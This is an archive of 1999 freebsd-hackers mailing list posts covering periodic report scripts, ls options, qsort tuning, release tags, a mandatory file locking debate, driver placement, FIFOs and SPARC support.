(VAX1.baker.IE [194.125.50.91]) by hub.freebsd.org (Postfix) with SMTP id 171421536B for ; Mon, 23 Aug 1999 04:53:20 -0700 (PDT) (envelope-from cillian@baker.ie) Received: from baker.ie ([194.125.50.55]) by vax1.baker.ie with ESMTP; Mon, 23 Aug 1999 12:55:57 +0100 Message-ID: <37C1324A.143EEA10@baker.ie> Date: Mon, 23 Aug 1999 12:36:42 +0100 From: Cillian Sharkey X-Mailer: Mozilla 4.6 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: David Malone Cc: hackers@freebsd.org Subject: Re: proposed change for /etc/periodic/* scripts References: <37C10D71.EAA5D819@baker.ie> <19990823123420.A45940@walton.maths.tcd.ie> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > This may not be a good idea. I often check daily reports to see if > a disk has suddenly filled or had been gradually filling over a > long period of time - you wouldn't be able to get this info if you > print stuff selectively. in the case of df, one could set whether you want full df status OR just partial (ie ones over xx% or less that xxMB free) depending on your preference :) > For anyone who reads daily reports regurally it doesn't take long > to get used to the usual look of a report of moderate length > (<2screens?) and to notice if something is out of place. You don't > have to read every single word (and if you need to come back to it > all the info should be there). Keeping records would be handy alright..but cutting out all the "everything is ok" msgs would reduce reading time..having an option for full report OR just the important results should satisfy everyone.. Cillian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 5:25:13 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 4C372156EA for ; Mon, 23 Aug 1999 05:24:22 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1) id 11It8D-000DMR-00 for freebsd-hackers@FreeBSD.ORG; Mon, 23 Aug 1999 14:23:21 +0200 From: Sheldon Hearn To: freebsd-hackers@FreeBSD.ORG Subject: Re: ls(1) options affecting -l long format In-reply-to: Your message of "Mon, 23 Aug 1999 13:13:14 +0200." <50222.935406794@axl.noc.iafrica.com> Date: Mon, 23 Aug 1999 14:23:21 +0200 Message-ID: <51362.935411001@axl.noc.iafrica.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999 13:13:14 +0200, Sheldon Hearn wrote: > The -n option will imply -l, but -o will be a no-op unless at least one > of -n and -l is specified. Manpage changes will be included in the deal. The diff for this change is available from: http://www.freebsd.org/~sheldonh/ls.diff.n_implies_l Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 6:10:38 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 85C9E14D66 for ; Mon, 23 Aug 1999 06:10:33 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com by peach.ocn.ne.jp (8.9.1a/OCN) id WAA04339; Mon, 23 Aug 1999 22:07:30 +0900 (JST) Message-ID: <37C1296C.82D5A24C@newsguy.com> Date: Mon, 23 Aug 1999 19:58:52 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: hackers@freebsd.org Subject: [Fwd: Re: cvs commit: doc/en/handbook/ports chapter.sgml] Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG While going through old cvs commit log, I spotted this: Index: param.h =================================================================== RCS file: /home/ncvs/src/sys/sys/param.h,v retrieving revision 1.50 diff -u -r1.50 param.h --- param.h 1999/06/20 08:34:24 1.50 +++ param.h 1999/06/20 17:56:50 @@ -45,6 +45,8 @@ #define BSD 199506 /* System version (year & month). */ #define BSD4_3 1 #define BSD4_4 1 + +/* Please update doc/en/handbook/ports/chapter.sgml when changing */ #undef __FreeBSD_version #define __FreeBSD_version 400008 /* Master, propagated to newvers */ With the recent changes to the doc tree, should this file be updated too? (Or maybe it was and I haven't seen that log yet :) -- Daniel C. Sobral dcs@newsguy.com dcs@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 6:43:37 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from not.demophon.com (ns.demophon.com [193.65.70.13]) by hub.freebsd.org (Postfix) with ESMTP id EEC5315AB0 for ; Mon, 23 Aug 1999 06:43:25 -0700 (PDT) (envelope-from will@not.demophon.com) Received: (from will@localhost) by not.demophon.com (8.9.3/8.8.7) id QAA56303; Mon, 23 Aug 1999 16:43:01 +0300 (EEST) (envelope-from will) To: John-Mark Gurney Cc: hackers@freebsd.org Subject: Re: anybody love qsort.c? References: <199908182356.QAA09187@perforce.com> <19990818215311.49180@hydrogen.fircrest.net> From: Ville-Pertti Keinonen Date: 23 Aug 1999 16:43:00 +0300 In-Reply-To: gurney_j@efn.org's message of "19 Aug 1999 07:56:55 +0300" Message-ID: <863dxay5nf.fsf@not.demophon.com> Lines: 30 X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG gurney_j@efn.org (John-Mark Gurney) writes: > Christopher Seiwald scribbled this message on Aug 18: > > It's a pretty straightforward change to bypass the insertion sort for > > large subsets of the data. If no one has a strong love for qsort, I'll > > educate myself on how to make and contribute this change. > > why don't you implement this w/ the 5 element median selection qsort > algorithm? my professor for cis413 talked about this algorithm and > that it really is the fastest qsort algorithm... I don't have any > pointers to a paper on this... but I might be able to dig some info up > on it if you are interested... I don't think the point is eliminating worst-cases, but optimizing common cases, which in this case caused more worst-cases and thus needs fixing. Besides, the median selection chooses among more than 3 elements already (but only when the data set is large enough). For fixing worst cases, an introspective sort might be a good idea, i.e. do a quick sort but fall back to heap sort if a certain depth is exceeded (you know you're losing when the depth exceeds log n). This also has another advantage - if you limit the depth of the sort, you don't need to use the cpu stack for state, you can allocate a fixed-size array for the purpose. This probably isn't a real performance advantage for a C qsort implementation because of the overhead of calling cmp. It does, however, guarantee that sorting uses a reasonable amount of stack. Such an assumption isn't portable when using qsort(3), though. Expect to die if you do large qsorts from threads with small thread stacks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 6:49:13 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from uni4nn.gn.iaf.nl (osmium.gn.iaf.nl [193.67.144.12]) by hub.freebsd.org (Postfix) with ESMTP id 3F29015736 for ; Mon, 23 Aug 1999 06:49:03 -0700 (PDT) (envelope-from wilko@yedi.iaf.nl) Received: from yedi.iaf.nl (uucp@localhost) by uni4nn.gn.iaf.nl (8.9.2/8.9.2) with UUCP id PAA02285 for FreeBSD-hackers@freebsd.org; Mon, 23 Aug 1999 15:35:41 +0200 (MET DST) Received: (from wilko@localhost) by yedi.iaf.nl (8.9.3/8.9.3) id PAA48131 for FreeBSD-hackers@freebsd.org; Mon, 23 Aug 1999 15:10:53 +0200 (CEST) (envelope-from wilko) From: Wilko Bulte Message-Id: <199908231310.PAA48131@yedi.iaf.nl> Subject: building -STABLE release To: FreeBSD-hackers@freebsd.org (FreeBSD hackers list) Date: Mon, 23 Aug 1999 15:10:53 +0200 (CEST) X-Organisation: Private FreeBSD site - Arnhem, The Netherlands X-pgp-info: PGP public key at 'finger wilko@freefall.freebsd.org' X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What would be the right releasetag to use in order to build a 3.2-STABLE 'release' (make release)? Would that be RELENG_3 ? >From looking at 'cvs log Makefile' in the top of the source tree I get: symbolic names: RELENG_3_2_PAO: 1.222.2.4.0.2 RELENG_3_2_PAO_BP: 1.222.2.4 RELENG_3_2_0_RELEASE: 1.222.2.4 RELENG_3_1_0_RELEASE: 1.222.2.1 RELENG_3: 1.222.0.2 RELENG_3_BP: 1.222 (older stuff omitted). PAO is laptop stuff, BP == ???, RELEASE is obvious. Leaves RELENG_3 I think Wilko -- | / o / / _ Arnhem, The Netherlands - Powered by FreeBSD - |/|/ / / /( (_) Bulte WWW : http://www.tcja.nl http://www.freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 7:25: 9 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from not.demophon.com (ns.demophon.com [193.65.70.13]) by hub.freebsd.org (Postfix) with ESMTP id 0FD0814BCE for ; Mon, 23 Aug 1999 07:25:00 -0700 (PDT) (envelope-from will@not.demophon.com) Received: (from will@localhost) by not.demophon.com (8.9.3/8.8.7) id RAA56344; Mon, 23 Aug 1999 17:23:03 +0300 (EEST) (envelope-from will) To: grog@lemis.com (Greg Lehey) Cc: hackers@freebsd.org Subject: Re: Mandatory locking? References: <19990823162813.I83273@freebie.lemis.com> <19990823174345.J83273@freebie.lemis.com> From: Ville-Pertti Keinonen Date: 23 Aug 1999 17:23:03 +0300 In-Reply-To: grog@lemis.com's message of "23 Aug 1999 11:16:18 +0300" Message-ID: <86zoziwp88.fsf@not.demophon.com> Lines: 26 X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG grog@lemis.com (Greg Lehey) writes: > Again, if we have two concurrent transactions, we stand to gain money: > the updated balance is likely not to know about the other transaction, > and will thus "forget" one of the deductions. > Now I suppose you're going to come and say that this is bad > programming, and advisory locking would do the job if the software is > written right. Correct. You could also use the same argument to say > that memory protection isn't necessary, because a correctly written > program doesn't overwrite other processes address space. It's the The difference is that if a program has privileges to screw up whatever you are protecting, it can do so even if you do have mandatory locking, simply by functioning incorrectly when it does gain access to the data. And even without otherwise incorrect behavior, if you have a program that doesn't use any locking and another one that uses mandatory locking to prevent races with the non-locking program, the mere existence of the locking program does not prevent multiple non-locking programs from generating similar conditions. (I'm not opposed to mandatory locking in principle, but I don't find your reasoning very convincing.) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 8:33:56 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id D26B2156E5 for ; Mon, 23 Aug 1999 08:33:53 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.9.3/8.9.3) with ESMTP id LAA88167; Mon, 23 Aug 1999 11:29:42 -0400 (EDT) (envelope-from chuckr@picnic.mat.net) Date: Mon, 23 Aug 1999 11:29:42 -0400 (EDT) From: Chuck Robey To: Ville-Pertti Keinonen Cc: Greg Lehey , hackers@FreeBSD.ORG Subject: Re: Mandatory locking? In-Reply-To: <86zoziwp88.fsf@not.demophon.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 23 Aug 1999, Ville-Pertti Keinonen wrote: > > grog@lemis.com (Greg Lehey) writes: > > > Again, if we have two concurrent transactions, we stand to gain money: > > the updated balance is likely not to know about the other transaction, > > and will thus "forget" one of the deductions. > > > Now I suppose you're going to come and say that this is bad > > programming, and advisory locking would do the job if the software is > > written right. Correct. You could also use the same argument to say > > that memory protection isn't necessary, because a correctly written > > program doesn't overwrite other processes address space. It's the > > The difference is that if a program has privileges to screw up > whatever you are protecting, it can do so even if you do have > mandatory locking, simply by functioning incorrectly when it does gain > access to the data. > > And even without otherwise incorrect behavior, if you have a program > that doesn't use any locking and another one that uses mandatory > locking to prevent races with the non-locking program, the mere > existence of the locking program does not prevent multiple non-locking > programs from generating similar conditions. That's very odd, I thought the idea behind mandatory locking was to completely eliminate the possibility that a program could do what you're saying; all programs would *mandatorily* be forced to do locking to access the resource. It's the advisory locking that allows the scenario you paint. I think mandatory locking should exist, but only be available to root. If a program needs this, it must run with root privs, so that ordinary users cannot wedge the machine, but (as usual) root can shoot himself in the foot (traditional Unix methodology). > > (I'm not opposed to mandatory locking in principle, but I don't find > your reasoning very convincing.) > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@picnic.mat.net | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run picnic and jaunt, both FreeBSD-current. (301) 220-2114 | ----------------------------+----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 8:41: 0 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from fleming.cs.strath.ac.uk (fleming.cs.strath.ac.uk [130.159.196.126]) by hub.freebsd.org (Postfix) with ESMTP id 834641578B for ; Mon, 23 Aug 1999 08:40:16 -0700 (PDT) (envelope-from roger@cs.strath.ac.uk) Received: from muir-10 (roger@muir-10.cs.strath.ac.uk [130.159.148.10]) by fleming.cs.strath.ac.uk (8.8.8/8.8.8) with SMTP id QAA05814 Mon, 23 Aug 1999 16:39:27 +0100 (BST) Message-ID: <37C16B2E.ABD@cs.strath.ac.uk> Date: Mon, 23 Aug 1999 16:39:26 +0100 From: Roger Hardiman Organization: University of Strathclyde X-Mailer: Mozilla 3.04Gold (X11; I; OSF1 V4.0 alpha) MIME-Version: 1.0 To: hackers@freebsd.org Subject: new device driver Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, A friend (Juha) has written a new device driver for another batch of video capture cards from LifeVide, Genoa and ATIech which use the Zoran and Philips SAA chipset. The driver is likely to be called ztv If I add this to FreeBSD, where is the best place Keep it in /usr/src/sys/pci Or add it to /usr/src/sys/dev/... perhaps /usr/src/sys/dev/pci/ztv What are we doing now with new PCI device drivers? Thanks Roger -- Roger Hardiman roger@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 9: 8:16 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from pop3-3.enteract.com (pop3-3.enteract.com [207.229.143.32]) by hub.freebsd.org (Postfix) with SMTP id E70DA14D22 for ; Mon, 23 Aug 1999 09:08:14 -0700 (PDT) (envelope-from dscheidt@enteract.com) Received: (qmail 51007 invoked from network); 23 Aug 1999 16:07:04 -0000 Received: from shell-1.enteract.com (dscheidt@207.229.143.40) by pop3-3.enteract.com with SMTP; 23 Aug 1999 16:07:04 -0000 Date: Mon, 23 Aug 1999 11:07:04 -0500 (CDT) From: David Scheidt To: Cillian Sharkey Cc: David Malone , hackers@freebsd.org Subject: Re: proposed change for /etc/periodic/* scripts In-Reply-To: <37C1324A.143EEA10@baker.ie> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999, Cillian Sharkey wrote: > Keeping records would be handy alright..but cutting out all > the "everything is ok" msgs would reduce reading time..having > an option for full report OR just the important results should satisfy > everyone.. What I do run things through a filter that shows only things that I find interesting. It is only a few dozens of lines of shell. I don't actually do this for FreeBSD daily reports, because there isn't enough there to worry about, but for my application stuff it works a treat. David To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 9:28: 9 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from bingnet2.cc.binghamton.edu (bingnet2.cc.binghamton.edu [128.226.1.18]) by hub.freebsd.org (Postfix) with ESMTP id 7CAE914D80 for ; Mon, 23 Aug 1999 09:28:07 -0700 (PDT) (envelope-from zzhang@cs.binghamton.edu) Received: from sol.cs.binghamton.edu (cs1-gw.cs.binghamton.edu [128.226.171.72]) by bingnet2.cc.binghamton.edu (8.9.3/8.9.3) with SMTP id MAA11692 for ; Mon, 23 Aug 1999 12:28:06 -0400 (EDT) Date: Mon, 23 Aug 1999 12:14:40 -0400 (EDT) From: Zhihui Zhang To: freebsd-hackers@freebsd.org Subject: FreeBSD FIFO implementation Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG While looking at the FIFO implementation, I understand that a FIFO is implemented as a socket. But I am not sure where the data in a FIFO is stored (mbuf or filesystem buf structure?) and how it manages the red/write pointers. Can anyone give me a general picture of this? Any help is appreciated. -------------------------------------------------- Zhihui Zhang. Please visit http://www.freebsd.org -------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 9:38:55 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from etinc.com (et-gw.etinc.com [207.252.1.2]) by hub.freebsd.org (Postfix) with ESMTP id E66A014CE6 for ; Mon, 23 Aug 1999 09:38:51 -0700 (PDT) (envelope-from dennis@etinc.com) Received: from dbsys (dbsys.etinc.com [207.252.1.18]) by etinc.com (8.9.3/8.9.3) with SMTP id MAA06546 for ; Mon, 23 Aug 1999 12:34:15 -0400 (EDT) Message-Id: <199908231634.MAA06546@etinc.com> X-Sender: dennis@etinc.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Mon, 23 Aug 1999 11:28:20 -0400 To: freebsd-hackers@FreeBSD.ORG From: Dennis Subject: SPARC? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I heard a rumor that freebsd runs on a sparc, but I dont see any backing for that. Is it in the works? dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 9:41:15 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from jade.chc-chimes.com (jade.chc-chimes.com [216.28.46.6]) by hub.freebsd.org (Postfix) with ESMTP id 5D35914E66 for ; Mon, 23 Aug 1999 09:41:14 -0700 (PDT) (envelope-from billf@jade.chc-chimes.com) Received: by jade.chc-chimes.com (Postfix, from userid 1001) id 9FC311C19; Mon, 23 Aug 1999 11:42:27 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by jade.chc-chimes.com (Postfix) with ESMTP id 9B4FC3826; Mon, 23 Aug 1999 11:42:27 -0400 (EDT) Date: Mon, 23 Aug 1999 11:42:27 -0400 (EDT) From: Bill Fumerola To: Wilko Bulte Cc: FreeBSD hackers list Subject: Re: building -STABLE release In-Reply-To: <199908231310.PAA48131@yedi.iaf.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999, Wilko Bulte wrote: > What would be the right releasetag to use in order to build > a 3.2-STABLE 'release' (make release)? Would that be RELENG_3 ? Yes. Though RELENG_3 is a branch tag. > RELENG_3_2_PAO: 1.222.2.4.0.2 > RELENG_3_2_PAO_BP: 1.222.2.4 > RELENG_3_2_0_RELEASE: 1.222.2.4 > RELENG_3_1_0_RELEASE: 1.222.2.1 > RELENG_3: 1.222.0.2 > RELENG_3_BP: 1.222 > > PAO is laptop stuff, BP == ???, RELEASE is obvious. Leaves RELENG_3 I think BP = branchpoint. Look at RELENG_3_BP, it's 1.222, that's when it was split. Look at RELENG_3, it's 1.222.0.2, which would be the second revision of that file since it was branched, I think. -- - bill fumerola - billf@chc-chimes.com - BF1560 - computer horizons corp - - ph:(800) 252-2421 - bfumerol@computerhorizons.com - billf@FreeBSD.org - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 9:52:15 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id C31CF1543A for ; Mon, 23 Aug 1999 09:52:12 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com by peach.ocn.ne.jp (8.9.1a/OCN) id BAA23141; Tue, 24 Aug 1999 01:51:58 +0900 (JST) Message-ID: <37C17742.E43CBD83@newsguy.com> Date: Tue, 24 Aug 1999 01:30:58 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Wes Peters Cc: hackers@FreeBSD.ORG Subject: Re: mmap mapped segment length References: <199908210906.CAA17706@salsa.gv.tsc.tdk.com> <37BF4C99.67814B7@softweyr.com> <199908220247.TAA75778@apollo.backplane.com> <37C0A5E8.9390D0DB@softweyr.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Wes Peters wrote: > [...] > Thanks to everyone who responded, and for the politeness of the responses in > the face of the stupidity of the original question. People are usually more polite when they are, err, having fun. ;-> -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org - Come on. - Where are we going? - To get what you came for. - What's that? - Me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 9:52:31 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 04D421568C; Mon, 23 Aug 1999 09:52:25 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com by peach.ocn.ne.jp (8.9.1a/OCN) id BAA23114; Tue, 24 Aug 1999 01:51:48 +0900 (JST) Message-ID: <37C174F5.2D8AEEB1@newsguy.com> Date: Tue, 24 Aug 1999 01:21:09 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Greg Lehey Cc: Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? References: <19990823162813.I83273@freebie.lemis.com> <7569.935394460@critter.freebsd.dk> <19990823174345.J83273@freebie.lemis.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greg Lehey wrote: > > all done in the kernel anyway. In userland, we'd use a different > example: > > I make a number of financial transactions over the Internet. In > each case, the system checks my account balance, transfers the money > and deducts it from my account: > > 1. Check balance. > 2. Perform transfer. > 3. Write updated balance back. > > Again, if we have two concurrent transactions, we stand to gain money: > the updated balance is likely not to know about the other transaction, > and will thus "forget" one of the deductions. > > Now I suppose you're going to come and say that this is bad > programming, and advisory locking would do the job if the software is > written right. Correct. You could also use the same argument to say > that memory protection isn't necessary, because a correctly written > program doesn't overwrite other processes address space. It's the > same thing: file protection belongs in the kernel. Well, I'd say advisory lock does the job if the software is written right, and if the software is not written right, mandatory locking won't help. Let's give an example. You right a program using mandatory locking making access to a file. I write an "incorrect" program accessing that file. I garantee you that the file is going to be screwed up, because I intend to write random output to it as soon as I get access to it. After all, if I'm incorrect, I'm allowed to do anything. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org - Come on. - Where are we going? - To get what you came for. - What's that? - Me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 9:52:47 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 88EEC15852; Mon, 23 Aug 1999 09:52:38 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com by peach.ocn.ne.jp (8.9.1a/OCN) id BAA23026; Tue, 24 Aug 1999 01:50:57 +0900 (JST) Message-ID: <37C172B7.40AD1029@newsguy.com> Date: Tue, 24 Aug 1999 01:11:35 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: "Daniel O'Connor" Cc: Greg Lehey , Garrett Wollman , FreeBSD Committers , FreeBSD Hackers , Poul-Henning Kamp , Matthew Dillon Subject: Re: Mandatory locking? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Daniel O'Connor wrote: > > On 23-Aug-99 Greg Lehey wrote: > > I'm a little surprised that there's any objection to the concept of > > mandatory locking. In transaction processing, locking is not > > optional, and if any process at all can access a file or set of files > > without locking, you can't guarantee the database integrity. Other > > OSs have used mandatory locking for decades, and System V has it too. > > So far I haven't seen any arguments, let alone valid ones, against > > having it in FreeBSD. > > I think its a good idea, and hey if people object it can always be an option > like -> > > option NO_MANDATORY_LOCKING > > Phew, that was tough. When introducing security holes, the default should be the hole not being present. Ie, reverse that option. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org - Come on. - Where are we going? - To get what you came for. - What's that? - Me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 10: 6:58 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.33.127]) by hub.freebsd.org (Postfix) with ESMTP id 4CE1514C86 for ; Mon, 23 Aug 1999 10:06:52 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from lestat (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.8/8.6.12) with ESMTP id KAA13676; Mon, 23 Aug 1999 10:05:49 -0700 (PDT) Message-Id: <199908231705.KAA13676@lestat.nas.nasa.gov> To: Dennis Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: SPARC? Reply-To: Jason Thorpe From: Jason Thorpe Date: Mon, 23 Aug 1999 10:05:49 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999 11:28:20 -0400 Dennis wrote: > I heard a rumor that freebsd runs on a sparc, but I dont see any backing > for that. Is it in the works? FreeBSD does not run on the SPARC. I think they've been talking about it for ... what, 5 years now... but it never materialized. NetBSD, however, runs quite well on the SPARC. -- Jason R. Thorpe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 10:17:23 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 7A78414EC7 for ; Mon, 23 Aug 1999 10:17:03 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.8.7/8.8.7) with ESMTP id KAA14176; Mon, 23 Aug 1999 10:15:21 -0700 Date: Mon, 23 Aug 1999 10:15:20 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Jason Thorpe Cc: Dennis , freebsd-hackers@FreeBSD.ORG Subject: Re: SPARC? In-Reply-To: <199908231705.KAA13676@lestat.nas.nasa.gov> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Mon, 23 Aug 1999 11:28:20 -0400 > Dennis wrote: > > > I heard a rumor that freebsd runs on a sparc, but I dont see any backing > > for that. Is it in the works? > > FreeBSD does not run on the SPARC. I think they've been talking about it > for ... what, 5 years now... but it never materialized. > > NetBSD, however, runs quite well on the SPARC. Sun4 - Ultra is incomplete in NetBSD, though. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 10:18:19 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (Postfix) with ESMTP id AA80714CC4 for ; Mon, 23 Aug 1999 10:18:12 -0700 (PDT) (envelope-from itojun@itojun.org) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id CAA08805 for ; Tue, 24 Aug 1999 02:18:08 +0900 (JST) To: hackers@freebsd.org Subject: [freebsdcon] radisson 